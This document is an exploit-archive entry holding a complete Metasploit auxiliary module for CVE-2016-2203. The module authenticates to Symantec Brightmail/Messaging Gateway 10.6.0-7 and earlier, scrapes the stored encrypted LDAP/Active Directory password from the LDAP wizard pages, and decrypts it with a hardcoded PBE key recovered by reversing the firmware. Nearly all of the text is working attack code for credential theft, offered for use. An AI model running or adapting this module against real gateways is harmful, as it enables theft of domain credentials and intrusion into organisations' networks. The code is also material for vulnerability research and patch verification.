Symantec Brightmail 10.6.0-7 – LDAP Credentials Disclosure (Metasploit)
# Exploit Title: Symantec Brightmail ldap credential Grabber # Date: 18/04/2016 # Exploit Author: Fakhir Karim Reda # Vendor Homepage: https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year&suid=20160418_00 # Version: 10.6.0-7 and earlier # Tested on: Linux, Unox Windows # CVE : CVE-2016-2203 #Symantec Brightmail 10.6.0-7 and earlier save the AD password somewhere in the product. By having a read account on the gateway we can recover the AD #ACOUNT/PASSWORD #indeed the html code contains the encrypted AD password. #the encryption and decryption part is implemented in Java in the appliance, by reversing the code we get to know the encryption algorithm: #public static String decrypt(String password) #{ #byte clearText[]; #try{ #PBEKeySpec keySpec = new PBEKeySpec("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"{}`~!@#$%^&*()_+-=".toCharArray()); #SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES"); #SecretKey secretKey = keyFactory.generateSecret(keySpec); #System.out.println("Encoded key "+ (new String(secretKey.getEncoded()))); ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require "base64" require 'digest' require "openssl" class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Symantec Messaging Gateway 10 LDAP Creds Graber', 'Description' => %q{ This module will grab the AD account saved in Symantec Messaging Gateway and then decipher it using the disclosed symantec pbe key. Note that authentication is required in order to successfully grab the LDAP credentials, you need at least a read account. Version 10.6.0-7 and earlier are affected }, 'References' => [ ['URL','https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00'], ['CVE','2016-2203'], ['BID','86137'] ], 'Author' => [ 'Fakhir Karim Reda <karim.fakhir[at]gmail.com>' ], 'DefaultOptions' => { 'SSL' => true, 'SSLVersion' => 'TLS1', 'RPORT' => 443 }, 'License' => MSF_LICENSE, 'DisclosureDate' => "Dec 17 2015" )) register_options( [ OptInt.new('TIMEOUT', [true, 'HTTPS connect/read timeout in seconds', 1]), Opt::RPORT(443), OptString.new('USERNAME', [true, 'The username to login as']), OptString.new('PASSWORD', [true, 'The password to login with']) ], self.class) deregister_options('RHOST') end def print_status(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: 'LDAP', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge(service_data) login_data = { last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end def auth(username, password, sid, last_login) # Real JSESSIONID cookie sid2 = '' res = send_request_cgi({ 'method' => 'POST', 'uri' => '/brightmail/login.do', 'headers' => { 'Referer' => "https://#{peer}/brightmail/viewLogin.do", 'Connection' => 'keep-alive' }, 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}", 'vars_post' => { 'lastlogin' => last_login, 'userLocale' => '', 'lang' => 'en_US', 'username' => username, 'password' => password, 'loginBtn' => 'Login' } }) if res.body =~ /Logged in/ sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || '' return sid2 end if res and res.headers['Location'] mlocation = res.headers['Location'] new_uri = res.headers['Location'].scan(/^http:\/\/[\d\.]+:\d+(\/.+)/).flatten[0] res = send_request_cgi({ 'uri' => new_uri, 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}" }) sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || '' return sid2 if res and res.body =~ /Logged in/ end return false end def get_login_data sid = '' #From cookie last_login = '' #A hidden field in the login page res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'}) if res and !res.get_cookies.empty? sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || '' end if res last_login = res.body.scan(/<input type="hidden" name="lastlogin" value="(.+)"\/>/).flatten[0] || '' end return sid, last_login end # Returns the status of the listening port. # # @return [Boolean] TrueClass if port open, otherwise FalseClass. def port_open? begin res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT']) return true if res rescue ::Rex::ConnectionRefused print_status("#{peer} - Connection refused") return false rescue ::Rex::ConnectionError print_error("#{peer} - Connection failed") return false rescue ::OpenSSL::SSL::SSLError print_error("#{peer} - SSL/TLS connection error") return false end end # Returns the derived key from the password, the salt and the iteration count number. # # @return Array of byte containing the derived key. def get_derived_key(password, salt, count) key = password + salt for i in 0..count-1 key = Digest::MD5.digest(key) end kl = key.length return key[0,8], key[8,kl] end # @Return the deciphered password # Algorithm obtained by reversing the firmware # def decrypt(enc_str) pbe_key="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-=" salt = (Base64.strict_decode64(enc_str[0,12])) remsg = (Base64.strict_decode64(enc_str[12,enc_str.length])) (dk, iv) = get_derived_key(pbe_key, salt, 1000) alg = "des-cbc" decode_cipher = OpenSSL::Cipher::Cipher.new(alg) decode_cipher.decrypt decode_cipher.padding = 0 decode_cipher.key = dk decode_cipher.iv = iv plain = decode_cipher.update(remsg) plain << decode_cipher.final return plain.gsub(/[\x01-\x08]/,'') end def grab_auths(sid,last_login) token = '' #from hidden input selected_ldap = '' # from checkbox input new_uri = '' # redirection flow_id = '' # id of the flow folder = '' # symantec folder res = send_request_cgi({ 'method' => 'GET', 'uri' => "/brightmail/setting/ldap/LdapWizardFlow$exec.flo", 'headers' => { 'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo", 'Connection' => 'keep-alive' }, 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid};" }) if res token = res.body.scan(/<input type="hidden" name="symantec.brightmail.key.TOKEN" value="(.+)"\/>/).flatten[0] || '' selected_ldap = res.body.scan(/<input type="checkbox" value="(.+)" name="selectedLDAP".+\/>/).flatten[0] || '' else return false end res = send_request_cgi({ 'method' => 'POST', 'uri' => "/brightmail/setting/ldap/LdapWizardFlow$edit.flo", 'headers' => { 'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo", 'Connection' => 'keep-alive' }, 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ", 'vars_post' => { 'flowId' => '0', 'userLocale' => '', 'lang' => 'en_US', 'symantec.brightmail.key.TOKEN'=> "#{token}", 'selectedLDAP' => "#{selected_ldap}" } }) if res and res.headers['Location'] mlocation = res.headers['Location'] new_uri = res.headers['Location'].scan(/^https:\/\/[\d\.]+(\/.+)/).flatten[0] flow_id = new_uri.scan(/.*\?flowId=(.+)/).flatten[0] folder = new_uri.scan(/(.*)\?flowId=.*/).flatten[0] else return false end res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{folder}", 'headers' => { 'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo", 'Connection' => 'keep-alive' }, 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ", 'vars_get' => { 'flowId' => "#{flow_id}", 'userLocale' => '', 'lang' => 'en_US' } }) if res and res.code == 200 login = res.body.scan(/<input type="text" name="userName".*value="(.+)"\/>/).flatten[0] || '' password = res.body.scan(/<input type="password" name="password".*value="(.+)"\/>/).flatten[0] || '' host = res.body.scan(/<input name="host" id="host" type="text" value="(.+)" class/).flatten[0] || '' port = res.body.scan(/<input name="port" id="port" type="text" value="(.+)" class/).flatten[0] || '' password = decrypt(password) print_good("Found login = '#{login}' password = '#{password}' host ='#{host}' port = '#{port}' ") report_cred(ip: host, port: port, user:login, password: password, proof: res.code.to_s) end end def run_host(ip) return unless port_open? sid, last_login = get_login_data if sid.empty? or last_login.empty? print_error("#{peer} - Missing required login data. Cannot continue.") return end username = datastore['USERNAME'] password = datastore['PASSWORD'] sid = auth(username, password, sid, last_login) if not sid print_error("#{peer} - Unable to login. Cannot continue.") return else print_good("#{peer} - Logged in as '#{username}:#{password}' Sid: '#{sid}' LastLogin '#{last_login}'") e nd grab_auths(sid,last_login) end end |